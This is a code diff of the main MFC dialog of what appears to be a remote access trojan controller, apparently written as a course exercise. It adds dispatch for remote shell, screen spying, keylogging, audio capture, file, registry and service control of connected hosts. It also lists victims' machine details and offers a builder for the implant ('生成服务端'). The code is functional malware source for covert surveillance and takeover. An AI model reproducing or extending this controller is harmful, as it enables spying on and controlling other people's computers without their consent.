#include "CSettingDlg.h"
#include "RegDlg.h"
#include "..\..\common\macros.h"
@@ -38,6 +39,7 @@ public:
// 实现
protected:
DECLARE_MESSAGE_MAP()
public:
};
CAboutDlg::CAboutDlg() : CDialogEx(IDD_ABOUTBOX)
@@ -75,6 +77,7 @@ void CCcRemoteDlg::DoDataExchange(CDataExchange* pDX)
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_ONLINE, m_CList_Online);
DDX_Control(pDX, IDC_MESSAGE, m_CList_Message);
DDX_Control(pDX, IDC_STATIC_LOGO, m_PicLogoA);
}
BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
@@ -83,8 +86,15 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_MESSAGE(WM_ADDTOLIST,OnAddToList)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog)
ON_MESSAGE(WM_REMOVEFROMLIST, OnRemoveFromList)
//-------------系统-------------
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
@@ -106,6 +116,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
ON_COMMAND(IDM_MAIN_BUILD, &CCcRemoteDlg::OnMainBuild)
ON_COMMAND(IDM_MAIN_ABOUT, &CCcRemoteDlg::OnMainAbout)
ON_WM_CLOSE()
ON_WM_ERASEBKGND()
ON_WM_CTLCOLOR()
END_MESSAGE_MAP()
@@ -123,12 +135,12 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
case NC_CLIENT_CONNECT:
break;
case NC_CLIENT_DISCONNECT:
//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); // 当服务端断开或出错响应
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
//ProcessReceive(pContext); // 这里是有数据到来 但没有完全接收
break;
case NC_RECEIVE_COMPLETE:
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
@@ -214,24 +226,41 @@ BOOL CCcRemoteDlg::OnInitDialog()
////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
m_OnlineCount = 0;//初始上线数为0
InitSystemMenu();//初始化系统托盘
InitToolBar();//初始化工具栏按钮控件
InitMyMenu();//初始化菜单控件
InitList();//初始化列表控件
InitStatusBar();//初始化状态栏控件
m_OnlineCount = 0; // 初始上线数为0
InitSystemMenu(); // 初始化系统托盘
InitToolBar(); // 初始化工具栏按钮控件
InitMyMenu(); // 初始化菜单控件
InitList(); // 初始化列表控件
InitStatusBar(); // 初始化状态栏控件
InitPic();
//---------改变窗口大小触发动态调整-------|
CRect rect;
GetWindowRect(&rect);
rect.bottom += 20;
rect.bottom += 50;
rect.right += 30;
MoveWindow(rect);
//----------------------------------------|
ListenPort();//监听端口
ListenPort(); // 监听端口
Test();
isOnlineIcoTrue = 0;
isMessageIcoTrue = 0;
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
void CCcRemoteDlg::InitPic()
{
CRect rect;
rect.left = 0;
rect.top = 0;
m_PicLogoA.MoveWindow(rect);
//通过资源ID载入BitMap资源
m_BitmapPicLogoA.LoadBitmapA(IDB_BITMAP_LOGO);
//给图片控件设置位图
m_PicLogoA.SetBitmap(m_BitmapPicLogoA);
}
void CCcRemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
@@ -291,38 +320,43 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
if (SIZE_MINIMIZED == nType)//当窗口最小化避免大小为0造成崩溃直接返回
return;
if (m_CList_Online.m_hWnd != NULL)
{
CRect rc;
rc.left = 1; //列表的左坐标
rc.top = 80; //列表的上坐标
rc.right = cx - 1; //列表的右坐标
rc.bottom = cy - 160; //列表的下坐标
rc.left = 1; // 列表的左坐标
rc.top = 80; // 列表的上坐标
rc.right = cx - 1; // 列表的右坐标
rc.bottom = cy - 160; // 列表的下坐标
m_CList_Online.MoveWindow(rc);
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { //遍历每一个列
double dd = m_Column_Online_Data[i].nWidth; //得到当前列的宽度
dd /= m_Column_Online_Width; //看一看当前宽度占总长度的几分之几
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
int lenth = dd; //转换为int 类型
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { // 遍历每一个列
double dd = m_Column_Online_Data[i].nWidth; // 得到当前列的宽度
dd /= m_Column_Online_Width; // 看一看当前宽度占总长度的几分之几
dd *= dcx; // 用原来的长度乘以所占的几分之几得到当前的宽度
int lenth = dd; // 转换为int 类型
m_CList_Online.SetColumnWidth(i, (lenth)); // 设置当前的宽度
}
}
if (m_CList_Message.m_hWnd != NULL)
{
CRect rc;
rc.left = 1; //列表的左坐标
rc.top = cy - 156; //列表的上坐标
rc.right = cx - 1; //列表的右坐标
rc.bottom = cy - 20; //列表的下坐标
rc.left = 1; // 列表的左坐标
rc.top = cy - 156; // 列表的上坐标
rc.right = cx - 1; // 列表的右坐标
rc.bottom = cy - 20; // 列表的下坐标
m_CList_Message.MoveWindow(rc);
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { //遍历每一个列
double dd = m_Column_Message_Data[i].nWidth; //得到当前列的宽度
dd /= m_Column_Message_Width; //看一看当前宽度占总长度的几分之几
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
int lenth = dd; //转换为int 类型
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { // 遍历每一个列
double dd = m_Column_Message_Data[i].nWidth; // 得到当前列的宽度
dd /= m_Column_Message_Width; // 看一看当前宽度占总长度的几分之几
dd *= dcx; // 用原来的长度乘以所占的几分之几得到当前的宽度
int lenth = dd; // 转换为int 类型
m_CList_Message.SetColumnWidth(i, (lenth)); // 设置当前的宽度
}
}
@@ -339,11 +373,13 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
if (m_ToolBar.m_hWnd != NULL) //工具条
{
CRect rc;
rc.top = rc.left = 0;
rc.top = 0;
rc.left = 250;
rc.right = cx;
rc.bottom = 80;
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
}
// TODO: 在此处添加消息处理程序代码
}
@@ -351,19 +387,53 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
int CCcRemoteDlg::InitMyMenu()
{
HMENU hmenu;
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); //载入菜单资源
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); // 载入菜单资源
::SetMenu(this->GetSafeHwnd(), hmenu); //为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
::SetMenu(this->GetSafeHwnd(), hmenu); // 为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
::MENUINFO lpcmi;
m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
lpcmi.cbSize = sizeof(MENUINFO);
lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
::SetMenuInfo(popup, &lpcmi);
int enum_ico[] = { IDB_BITMAP_ENUM_SHELL ,
IDB_BITMAP_ENUM_PROCESS,
IDB_BITMAP_ENUM_WINDOW,
IDB_BITMAP_ENUM_DESK,
IDB_BITMAP_ENUM_FILE,
IDB_BITMAP_ENUM_AUDIO,
IDB_BITMAP_ENUM_NULL,
IDB_BITMAP_ENUM_SERVICE,
IDB_BITMAP_ENUM_REGIST,
IDB_BITMAP_ENUM_QUIT };
popup.LoadMenu(IDR_MENU_ONLINE); // 载入菜单资源
m_IconBitmap.LoadBitmap(IDB_BITMAP_ENUM_REGIST);
CMenu *pSubMenu = popup.GetSubMenu(0); // 获得子菜单如果有0表示索引对应“文件”菜单
for (int i = 0; i < 10; i++)
{
CBitmap bmp;
bmp.LoadBitmap(enum_ico[i]);
pSubMenu->SetMenuItemBitmaps(i, MF_BYPOSITION, &bmp, &bmp);
bmp.Detach();
}
CBitmap bmp;
CBrush m_BKBrush;
bmp.LoadBitmap(IDB_BITMAP_LOGO);
m_BKBrush.CreatePatternBrush(&bmp); // 创建位图画刷
MENUINFO mnInfo;
memset(&mnInfo, 0, sizeof(MENUINFO));
mnInfo.cbSize = sizeof(MENUINFO);
mnInfo.fMask = MIM_BACKGROUND;
mnInfo.hbrBack = m_BKBrush;
::SetMenuInfo(pSubMenu->m_hMenu, &mnInfo);
m_BKBrush.Detach();
//::MENUINFO lpcmi;
//m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
//memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
//lpcmi.cbSize = sizeof(MENUINFO);
//lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
//lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
//::SetMenuInfo(popup, &lpcmi);
return 0;
}
@@ -371,11 +441,21 @@ int CCcRemoteDlg::InitMyMenu()
int CCcRemoteDlg::InitList()
{
//设置list可选中
// CLR_NONE没有背景色。图像是透明的。
m_CList_Online.SetTextBkColor(CLR_NONE);
m_CList_Online.SetBkColor(CLR_NONE);
m_CList_Online.SetTextColor(RGB(255, 0, 0));
m_CList_Message.SetTextBkColor(CLR_NONE);
m_CList_Message.SetBkColor(CLR_NONE);
// m_CList_Message.SetTextColor(RGB(255, 0, 0));
// 设置list可选中
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
//计算控件宽度
// 计算控件宽度
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++)
{
m_CList_Online.InsertColumn(i, m_Column_Online_Data[i].title, LVCFMT_LEFT, m_Column_Online_Data[i].nWidth);
@@ -393,9 +473,9 @@ int CCcRemoteDlg::InitList()
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext)
{
m_CList_Online.InsertItem(0, strIP); //默认为0行 这样所有插入的新列都在最上面
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); //设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); //解决问题会避免以后扩展时的冲突
m_CList_Online.InsertItem(0, strIP); // 默认为0行 这样所有插入的新列都在最上面
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); // 设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); // 解决问题会避免以后扩展时的冲突
m_CList_Online.SetItemText(0, ONLINELIST_OS, strOS);
m_CList_Online.SetItemText(0, ONLINELIST_CPU, strCPU);
m_CList_Online.SetItemText(0, ONLINELIST_VIDEO, strVideo);
@@ -422,7 +502,7 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
CString strStatusMsg;
if (strMsg.Find("上线") > 0) //处理上线还是下线消息
if (strMsg.Find("上线") > 0) // 处理上线还是下线消息
{
m_OnlineCount++;
}
@@ -434,20 +514,17 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
{
m_OnlineCount--;
}
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); // 防止iCount 有-1的情况
strStatusMsg.Format("已连接: %d", m_OnlineCount);
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
m_wndStatusBar.SetPaneText(0, strStatusMsg); // 在状态条上显示文字
}
void CCcRemoteDlg::Test()
{
ShowMessage(true, "软件初始化成功...");
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
}
@@ -456,25 +533,25 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
// TODO: 在此添加控件通知处理程序代码
CMenu* pM = popup.GetSubMenu(0);//得到菜单项
CMenu* pM = popup.GetSubMenu(0); // 得到菜单项
CPoint p;
GetCursorPos(&p);//得到鼠标指针的位置
int count = pM->GetMenuItemCount();//得到菜单的个数
if (m_CList_Online.GetSelectedCount() == 0) //如果没有选中
GetCursorPos(&p); // 得到鼠标指针的位置
int count = pM->GetMenuItemCount(); // 得到菜单的个数
if (m_CList_Online.GetSelectedCount() == 0) // 如果没有选中
{
for (int i = 0; i < count; i++) //遍历每一个菜单
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); // 菜单全部变灰
}
}
else
{
for (int i = 0; i < count; i++) //遍历每一个菜单
for (int i = 0; i < count; i++) // 遍历每一个菜单
{
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); //菜单可用
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); // 菜单可用
}
}
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); //在指定位置显示菜单
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); // 在指定位置显示菜单
*pResult = 0;
}
@@ -482,14 +559,17 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
void CCcRemoteDlg::OnOnlineAudio()
{
// TODO: 在此添加命令处理程序代码
MessageBox("声音");
// MessageBox("声音");
BYTE bToken = COMMAND_AUDIO; // 向服务端发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineCmd()
{
// TODO: 在此添加命令处理程序代码
MessageBox("CMD");
// MessageBox("CMD");
BYTE bToken = COMMAND_SHELL;
SendSelectCommand(&bToken,sizeof(BYTE));
}
@@ -498,19 +578,23 @@ void CCcRemoteDlg::OnOnlineCmd()
void CCcRemoteDlg::OnOnlineDesktop()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SCREEN_SPY; // 向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineFile()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_LIST_DRIVE; // 服务端中COMMAND_LIST_DRIVE
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineProcess()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端到服务端搜索COMMAND_SYSTEM
BYTE bToken = COMMAND_SYSTEM; // 赋值一个宏 然后发送到服务端到服务端搜索COMMAND_SYSTEM
SendSelectCommand(&bToken, sizeof(BYTE));
}
@@ -518,36 +602,45 @@ void CCcRemoteDlg::OnOnlineProcess()
void CCcRemoteDlg::OnOnlineRegist()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_REGEDIT;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineServer()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_SERVICES; // 赋值一个宏 然后发送到服务端服务端COMMAND_SYSTEM
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineVideo()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_KEYBOARD;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineWindow()
{
// TODO: 在此添加命令处理程序代码
BYTE bToken = COMMAND_WSLIST;
SendSelectCommand(&bToken, sizeof(BYTE));
}
void CCcRemoteDlg::OnOnlineDelete()
{
// TODO: 在此添加命令处理程序代码
CString strIP;//选择断开的IP
int iSelect = m_CList_Online.GetSelectionMark();//获得选中的行
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);//获取断开的IP字符串
m_CList_Online.DeleteItem(iSelect);//删除该列表项
CString strIP;// 选择断开的IP
int iSelect = m_CList_Online.GetSelectionMark();// 获得选中的行
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);// 获取断开的IP字符串
m_CList_Online.DeleteItem(iSelect);// 删除该列表项
strIP += " 由主机主动断开连接";
ShowMessage(true, strIP);//显示日志
ShowMessage(true, strIP);// 显示日志
}
@@ -569,14 +662,19 @@ void CCcRemoteDlg::OnMainClose()
void CCcRemoteDlg::OnMainBuild()
{
// TODO: 在此添加命令处理程序代码
// TODO: 在此添加命令处理程序代码
CBuildDlg buildDlg;
buildDlg.DoModal();
}
void CCcRemoteDlg::OnMainAbout()
{
// TODO: 在此添加命令处理程序代码
CAboutDlg dlgAbout;
dlgAbout.DoModal();
//CAboutDlg dlgAbout;
//dlgAbout.DoModal();
CHelpWindow dlgAbouts;
dlgAbouts.DoModal();
}
@@ -606,6 +704,7 @@ void CCcRemoteDlg::InitStatusBar()
//初始化工具条按钮控件
void CCcRemoteDlg::InitToolBar()
{
//创建工具条
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
@@ -638,12 +737,13 @@ void CCcRemoteDlg::InitToolBar()
m_ToolBar.SetButtonText(3, "桌面管理");
m_ToolBar.SetButtonText(4, "文件管理");
m_ToolBar.SetButtonText(5, "语音管理");
m_ToolBar.SetButtonText(6, "视频管理");
m_ToolBar.SetButtonText(6, "键盘管理");
m_ToolBar.SetButtonText(7, "服务管理");
m_ToolBar.SetButtonText(8, "注册表管理");
m_ToolBar.SetButtonText(10, "参数设置");
m_ToolBar.SetButtonText(11, "生成服务端");
m_ToolBar.SetButtonText(12, "帮助");
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0);
}
@@ -689,6 +789,8 @@ void CCcRemoteDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标
m_CList_Message.SetBkImage("relese", TRUE);
m_CList_Online.SetBkImage("relese", TRUE);
CDialogEx::OnClose();
}
@@ -739,34 +841,39 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
return;
// 如果管理对话框打开,交给相应的对话框处理
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; // ClientContext 结构体的int m_Dialog[2];
// 交给窗口处理
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
{
switch (pContext->m_Dialog[0])
{
//case FILEMANAGER_DLG:
// ((CFileManagerDlg *)dlg)->OnReceiveComplete();
// break;
//case SCREENSPY_DLG:
// ((CScreenSpyDlg *)dlg)->OnReceiveComplete();
// break;
case FILEMANAGER_DLG:
((CFileManagerDlg *)dlg)->OnReceiveComplete();
break;
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
//case WEBCAM_DLG:
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
// break;
//case AUDIO_DLG:
// ((CAudioDlg *)dlg)->OnReceiveComplete();
// break;
//case KEYBOARD_DLG:
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
// break;
case AUDIO_DLG:
((CAudioDlg *)dlg)->OnReceiveComplete();
break;
case KEYBOARD_DLG:
((CKeyBoardDlg *)dlg)->OnReceiveComplete();
break;
case SYSTEM_DLG:
((CSystemDlg *)dlg)->OnReceiveComplete();
break;
break;
case SHELL_DLG:
((CShellDlg *)dlg)->OnReceiveComplete();
break;
case SERVER_DLG:
((CServerDlg *)dlg)->OnReceiveComplete();
break;
case REGEDIT_DLG:
((CRegDlg *)dlg)->OnReceiveComplete();
default:
break;
}
@@ -804,29 +911,38 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
}
break;
/*case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事,太菜
g_pConnectView->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
/*
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;*/
case TOKEN_AUDIO_START: // 语音
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_DRIVE_LIST: // 驱动器列表
// 指接调用public函数非模态对话框会失去反应
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
// 指接调用public函数非模态对话框会失去反应
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
g_pConnectView->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_AUDIO_START: // 语音
g_pConnectView->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pConnectView->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;*/
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
case TOKEN_WSLIST:
case TOKEN_PSLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SHELL_START:
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_SERVERLIST:
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_REGEDIT:
g_pCcRemoteDlg->PostMessage(WM_OPENREGEDITDIALOG, 0, (LPARAM)pContext);
break;
case TOKEN_KEYBOARD_START:
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
break;
// 命令停止当前操作
default:
closesocket(pContext->m_Socket);
@@ -906,19 +1022,14 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
LoginInfo->OsVerInfoEx.wServicePackMajor,
LoginInfo->OsVerInfoEx.dwBuildNumber
);
//m_pListCtrl->SetItemText(i, 4, strOS);
// CPU
strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
//m_pListCtrl->SetItemText(i, 5, str);
// Speed
strPing.Format("%d", LoginInfo->dwSpeed);
//m_pListCtrl->SetItemText(i, 6, str);
strVideo = LoginInfo->bIsWebCam ? "" : "--";
//m_pListCtrl->SetItemText(i, 7, str);
strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS);
@@ -927,12 +1038,8 @@ LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
strAddr = m_QQwry->IPtoAdd(IPAddress);
//strToolTipsText += "\nArea: ";
//strToolTipsText += str;
}
// 指定唯一标识
//m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
}
catch (...) {}
@@ -966,7 +1073,7 @@ LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
//这里定义远程终端的对话框转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
// 设置父窗口为
// 设置父窗口为
dlg->Create(IDD_SHELL, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
@@ -981,12 +1088,211 @@ LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
ClientContext *pContext = (ClientContext *)lParam;
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
// 设置父窗口为
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); // 创建对话框
dlg->ShowWindow(SW_SHOW); // 显示对话框
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[0] = SYSTEM_DLG; // 这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
}
//自定义消息 打开屏幕监控窗口
LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SCREENSPY_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//打开文件管理窗口
LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
//转到CFileManagerDlg 构造函数
CFileManagerDlg *dlg = new CFileManagerDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_FILE, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = FILEMANAGER_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//音频管理窗口
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_AUDIO, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = AUDIO_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
//服务管理窗口
LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为桌面
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = SERVER_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
// 注册表管理窗口
LRESULT CCcRemoteDlg::OnOpenRegEditDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CRegDlg *dlg = new CRegDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
// 设置父窗口为桌面
dlg->Create(IDD_DIALOG_REGEDIT, GetDesktopWindow()); //创建对话框
dlg->ShowWindow(SW_SHOW); //显示对话框
pContext->m_Dialog[0] = REGEDIT_DLG; //这个值用做服务端再次发送数据时的标识
pContext->m_Dialog[1] = (int)dlg;
//先看一下这个对话框的界面再看这个对话框类的构造函数
return 0;
}
// 键盘管理窗口
LRESULT CCcRemoteDlg::OnOpenKeyBoardDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CKeyBoardDlg *dlg = new CKeyBoardDlg(this, m_iocpServer, pContext);
// 设置父窗口为桌面
dlg->Create(IDD_KEYBOARD, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = KEYBOARD_DLG;
